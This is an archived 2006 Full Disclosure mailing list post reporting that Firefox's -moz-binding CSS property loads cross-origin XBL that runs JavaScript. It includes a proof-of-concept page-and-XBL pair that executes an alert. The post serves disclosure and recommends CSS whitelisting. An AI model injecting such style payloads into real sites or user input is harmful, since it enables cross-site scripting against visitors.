Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

-moz-binding CSS property: more XSS fun
From: Nikolas Coukouma <lists () atrus org>
Date: Sat, 28 Jan 2006 15:11:21 -0500

Hm, I haven't seen this posted here ...
Firefox now supports the -moz-binding CSS property, which associate XBL[1] with an element. The same origin policy is not applied. This is a problem because XBL may contain JavaScript and it runs with full access to content.

There is a bug report[2] filed, but it seems unlikely that it will be fixed anytime soon.

This is a good time to consider using a CSS parser and whitelist to filter style tags and attributes.

I've included a very simple example below.

Cheers,
-Nikolas

[1] http://www.mozilla.org/projects/xbl/xbl.html
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=324253

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss";); }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl";
 xmlns:html="http://www.w3.org/1999/xhtml";>

 <binding id="xss">
   <implementation>
     <constructor>
       alert("XBL XSS");
     </constructor>
   </implementation>
 </binding>

</bindings>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • -moz-binding CSS property: more XSS fun Nikolas Coukouma (Jan 28)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]